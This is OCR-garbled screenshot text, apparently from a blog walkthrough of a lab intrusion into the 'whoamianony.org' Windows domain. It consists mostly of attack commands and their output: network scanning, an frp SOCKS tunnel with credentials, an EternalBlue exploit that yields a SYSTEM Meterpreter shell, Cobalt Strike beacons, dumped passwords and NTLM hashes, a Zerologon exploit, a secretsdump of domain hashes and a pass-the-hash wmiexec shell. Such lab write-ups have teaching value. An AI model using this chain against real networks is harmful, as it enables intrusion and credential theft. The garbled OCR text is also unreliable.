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The authenticity of host '192.168.1.15 (192.168.1.15)"' can't be e (D Caption  Original
ED25519 key fingerprint is SHA256:KYDQNcLjRfprh+oaWyOnz13RDDWalSRqB2WjyGADJIHQ

This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.15" (ED25519) to the list of known host

S.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-66-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:

https://ubuntu.com/livepatch

99 packages can be updated.
® updates are security updates.

New release '20.04.3 LTS' available.
Run 'do-release-upgrade’ to upgrade to it. CSDN @£

Last login: Thu Feb 25 ©6:30:56 2021 from 192.168.1.7
rootaubuntu:~# whoami
root
rootgubuntu:~# ifconfig
ens33| tlags=41b3<UP,BRUADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.15 rletmask 255.255.255.0 broadcast 192.168.1.255
ret—fedfrr-2fe-204f: fe55:ad2c prefixlen 64 scopeid 0x2@<link>
ether 00:0c:29:55:ad:2c txqueuelen 1000 (Ethernet)
RX packets 332138 bytes 486989990 (486.9 MB)
RX errors @ dropped 496 overruns @ frame 0
TX packets 92890 bytes 6694436 (6.6 MB)
TX errors @ dropped @ overruns @ carrier @ collisions 0@

ens38: |t lags=4163<UP,BROADCAST| RUNNING,MULTICAST> mtu 1500
inet 192.168.52.10 nefmask 255.255.255.0 broadcast 192.168.52.255

Fmsf I ffscan®}192.168.52.0/24 47 144

ineth feB0--20c-29ff - fb55:ad36 prefixlen 64 scopeid 0x20<link> cCSDN@EE+




192.168.52.10:81 open

192.168.52.10:80 open

192.168.52.10:22 open

192.168.52.30:8080 open

192.168.52.30:139 open

192.168.52.20:8000 open

192.168.52.20:22 open

192.168.52.10:6379 open

alive ports len is: 10

start vulscan

[+] Redis:192.168.52.10:6379 unauthorized

[+] Redis:192.168.52.10:6379 like can write /root/.ssh/

[+#+] Redis:192.168.52.10:6379 like can write /var/spool/cron/

*[a[+] 192.168.52. MS17-010 (Windows 7 Professional 7601 Service
Pack 1)

[*] 192.168.52.30 WHOAMIANONY\PC1 Windows 7 Professional
7601 Service Pack 1

*] WebTitle:http://192.168.52.30:8080 code:200 len:22 title: 1A OAM 8 8
) RNE

+] InfoScan:http://192. .52.30:8080 [#iA0A]

*] WebTitle:http://192.168.52.20:8000 code:200 len:7 title:Laravel

*] WebTitle:http://192.168.52.10:81 code:200 len:7 title:Laravel

+] InfoScan:http://192.168.52.20:8000 [Laravel]
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] InfoScan:http://192.168.52.10:81 [Laravel]
B 9/11 [-] ssh 192. .52.20:22 root 12345678 ssh: handshake failed: ssh

K I192.168.52.3017 11 ifikoall fxms17010
192.168.52.20:8000 ALaravel

192.168.52.10:81 i -1 ALaravel, HEM ynginxi) 5 a4 GH]
4647192.168.52.30
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f§icommon ]
server_addr=192.168.1.7

server_port = 7000
tls_enable true
pool_count 5

[plugin_socks]

type = tcp

remote_port = 46076
plugin = socks5
plugin_user = admin
plugin_passwd = qaxnb
use_encryption = true
use_compression = true
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P“"*L] Proxy Checker — X
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1 Proxy Server Test Settings...
| Address: 192.1€8.1.7:4607¢€
»olici Protocol: SOCKS S
Aucthentication: YES
Username: admin
e —
N

[55:42] Starting: Teat 2: Connection through the Proxy Server

nectl _ SR

0 [56:42] Starting: Test 3: Proxy Server latency

003 |(=%-42] Testing Finished
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Fkali proxychains izt B

[ProxylList]

socks5 192.168.1.7 46076 admin gaxnblfj
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192.168.52.30:445 - Sending egg to corrupted connection. O  Caption
192.168.52.30:445 - Triggering free of corrupted buffer.
Started bind TCP handler against 192.168.52.30:4444

[proxychains] Strict chain ... 192.168.1.7:46076 ... 192.168.52.30:4444
Sending stage (200262 bytes) to 192.168.52.30

[proxychains] DLL init: proxychains-ng 4.15
Meterpreter session opened (192.168.1.7:47172 — 192.168.1.7:46076 ) at 202:
:38 -0500
192.168.52.30:445 - =—=—=—=—=—=—=—-=—-=—=—=—=—=—=—=—=
192.168.52.30:445 - ==l IN-=-=—z=-z—z-z-—z-z—-=—-z-z—-z—-=-=
192.168.52.30:445 -

Original ==

proxychains] DLL init: proxychains-ng
proxychains] DLL init: proxychains-ng
proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
meterpreter > getuid

[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
Server username: NT AUTHORITY\SYSTEM
[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
meterpreter > |}

ﬂproxychains] DLL init: proxychains-ng
|

RIM R, 18192.168.93.0/24, JkHiikwhoamianony.org



Interface 22

Name : Npcap Loopback Adapter
Hardware MAC : 02:00:4c:4f:4F:50

MTU : 1500

IPv4 Address : 169.254.129.186

IPv4 Netmask : 255.255.0.0

IPve Address : fe80::b46l:ccad:e30f:81ba
IPv6 Netmask : ffff:ffff:ffff:Ffff::

Interface 23

Name : Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:1b:51:c8

MTU : 1500

IPv4 Address : 192.168.93.20

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::b043:388d:c360:1920

IPvb Netmask : fFff:ffff:fFff:Ffff::

C:\Windows\system32>ipconfig /all
ipconfig /all

Windows IP Configuration

Host Name . . '.'.L . . . = « o . « & PC1

Primary Dns Suffix . . . . . . . : whoamianony.org

Node TYDe &« « « = ¢+ « & &« » = « « > Hybrid

IP Routing Enabled. . . . . . . . : No

WINS Proxy Enmabled. . . . . . . . : No

DNS Suffix Search List. . . . . . : whoamianony.org
mshome.net
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external nternal - listener user computer note process pid arch last
52+~ 111.193.6.207 192.168.93.20 mst SYSTEM * PC1 notepad exe 1628 X86 159ms
BR 111.193.6.207 192.168.93.20 msf SYSTEM * PC1 rundli32. exe 3704 x86 17s

= -

"B | mrgx | Beacon 192 165 03 20@1628 X

cep

SRR P

HExX | 50fE2X | Beacon 192 16893 20@1628 X | FiREBX

user password reaim nole =~
bunny Bunny2021 WHOAMIANONY .ORG

bunny CCH67d5556030b7356ee4915ff008c Bf WHOAMIANONY

Administrator Whoami2021 WHOAMIANONY ORG

bunny Bunny2021 WHOAMIANONY

Administrator Whoami2021 WHOAMIANONY

Administrator ab89b1295e69d353dd7614c7a3al0cec WHOAMIANONY

M) & I1192.168.93.30, 40



HExX | Hofe2x | Beacon 192 168 93 20@1628 X | FiREBX

user 'passwoul 'reann ﬁuﬁe -
bunny Bunny2021 WHOAMIANONY ORG

bunny ccS67d5556030b7356ee4915ff098c 8 WHOAMIANONY

Administrator Whoami2021 WHOAMIANONY ORG

bunny Bunny2021 WHOAMIANONY

Administrator Whoami2021 WHOAMIANONY

Administrator ab89b1295e69d353dd7614c7a3al0cec WHOAMIANONY

7 4% 49192.168.93.30, 404 5
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File Actions Edit

root@ubuntu: /tmp X

meterpreter

root@kali: ~
View Help
root@kali: f/home/kali/Desktop x

ifconfig

[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng &4.15

Interface 1

Name

Hardware MAC
MTU

IPv4 Address
IPv4 Netmask
IPv6 Address
IPv6 Netmask

Interface 11

Name
Hardware MAC
MTU
IPv4 Address
IPv4 Netmask
IPv6 Address

Software Loopback Interface 1
00:00:00:00:00:00

4294967295

127.9.0.1

255.0.0.0

il
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Intel(R) PRO/100@ MT Network Connection
00:0c:29:1f:2c:51

1500

192.168.93.40

255.255.2595.0

fe80::8e2:aa24:e770:b81

root@kali: ~ x

oI & m e

kali@ka




B 1111036207 192.168.93.20 msf SYSTEM* PC1 note 1628 264ms 1
B 1111036207 192.168.93.20 1 SYSTEM* PC1 rund 4420 13s
M 1111936207 192.168 .93 .20 mst SYSTEM* PC1 rund 272 904ms

192.168.93.40 SYSTEM* PC2 : :
B 102 168.93 20 o< 192.168.93.40 1 SYSTEM* PC2 b1.exe 1864 13s

CSDN @jEE+

NPT, HEEIFCVE-2020-1472
I T H ok

https://github.com/VoidSec/CVE-2020-1472

proxychains] Strict chain ... 117.50.174.131:46078
0K

python3 secretsdump.py whoamianony/DC\$@192.168.83.30 -no-pass

Administrator:500:aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6¢fe0d16ae931b73¢59d7e0c089¢0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6be58bfcc0a164af2408d1d3bd313c2a:::
whoami:1001:aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec:::
whoamianony.org\bunny:1112:aad3b435b51404eeaad3b435b51404ee:cc567d5556030b7356ee4915ff098¢8f:::
whoamianony.org\moretz:1115:aad3b435b51404eeaad3b435b51404ee:ba6723567ac2ca8993b098224ac27d90:::
DC

4 UL 2

proxychains wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec whoamianony/administrato
r@192.168.93.30

SRR

54 0K
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

C:\>whoami
whoamianony\administrator
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